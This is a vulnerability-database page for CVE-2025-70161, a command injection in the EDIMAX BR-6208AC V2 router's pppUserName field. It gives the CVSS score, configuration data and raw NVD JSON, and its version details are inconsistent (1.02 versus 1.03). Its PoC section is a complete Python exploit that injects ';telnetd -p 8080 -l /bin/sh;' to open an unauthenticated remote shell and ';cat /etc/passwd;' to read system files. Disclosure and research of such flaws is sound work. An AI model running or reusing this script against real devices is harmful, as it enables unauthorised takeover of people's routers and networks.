Security Vulnerability Report
中文
CVE-2025-70161 CVSS 9.8 CRITICAL

CVE-2025-70161

Published: 2026-01-09 17:15:54
Last Modified: 2026-01-22 20:45:14

Description

EDIMAX BR-6208AC V2_1.02 is vulnerable to Command Injection. This arises because the pppUserName field is directly passed to a shell command via the system() function without proper sanitization. An attacker can exploit this by injecting malicious commands into the pppUserName field, allowing arbitrary code execution.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:edimax:br-6208ac_firmware:1.03:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:edimax:br-6208ac:2.0:*:*:*:*:*:*:* - NOT VULNERABLE
EDIMAX BR-6208AC V2 < 1.02

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-70161 PoC - EDIMAX BR-6208AC V2 Command Injection # Target: EDIMAX BR-6208AC V2 router (firmware <= 1.02) # Vulnerability: Command injection via pppUserName parameter in setWAN handler target_ip = "192.168.2.1" # Default EDIMAX router IP target_url = f"http://{target_ip}/goform/setWAN" # Payload: Inject command to create a reverse shell or execute arbitrary command # Example: Execute telnetd to gain remote access payload = ";telnetd -p 8080 -l /bin/sh;" data = { "pppUserName": payload, "pppPassword": "password", "pppType": "PPPoE", "wanType": "ppp", "mtu": "1492" } try: response = requests.post(target_url, data=data, timeout=5) print(f"[*] Request sent to {target_url}") print(f"[*] Payload: {payload}") print(f"[*] Response Status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") # Alternative: Read /etc/passwd to verify command execution payload_read = ";cat /etc/passwd;" data_read = { "pppUserName": payload_read, "pppPassword": "password", "pppType": "PPPoE", "wanType": "ppp", "mtu": "1492" } try: response = requests.post(target_url, data=data_read, timeout=5) print(f"[*] Testing command injection with: {payload_read}") if response.status_code == 200: print("[+] Command injection successful!") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-70161", "sourceIdentifier": "[email protected]", "published": "2026-01-09T17:15:54.247", "lastModified": "2026-01-22T20:45:13.620", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "EDIMAX BR-6208AC V2_1.02 is vulnerable to Command Injection. This arises because the pppUserName field is directly passed to a shell command via the system() function without proper sanitization. An attacker can exploit this by injecting malicious commands into the pppUserName field, allowing arbitrary code execution."}, {"lang": "es", "value": "EDIMAX BR-6208AC V2_1.02 es vulnerable a la inyección de comandos. Esto surge porque el campo pppUserName se pasa directamente a un comando de shell a través de la función system() sin una sanitización adecuada. Un atacante puede explotar esto inyectando comandos maliciosos en el campo pppUserName, lo que permite la ejecución de código arbitrario."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:edimax:br-6208ac_firmware:1.03:*:*:*:*:*:*:*", "matchCriteriaId": "CE385640-FDDC-41C5-AD1C-36283B878411"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:edimax:br-6208ac:2.0:*:*:*:*:*:*:*", "matchCriteriaId": "925424B0-B731-4AB3-A348-3E8684962993"}]}]}], "references": [{"url": "https://tzh00203.notion.site/EDIMAX-BR-6208AC-V2_1-02-Command-Injection-Vulnerability-in-Web-setWAN-handler-2d3b5c52018a80d7ae8dce2bf5e3294c?source=copy_link", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}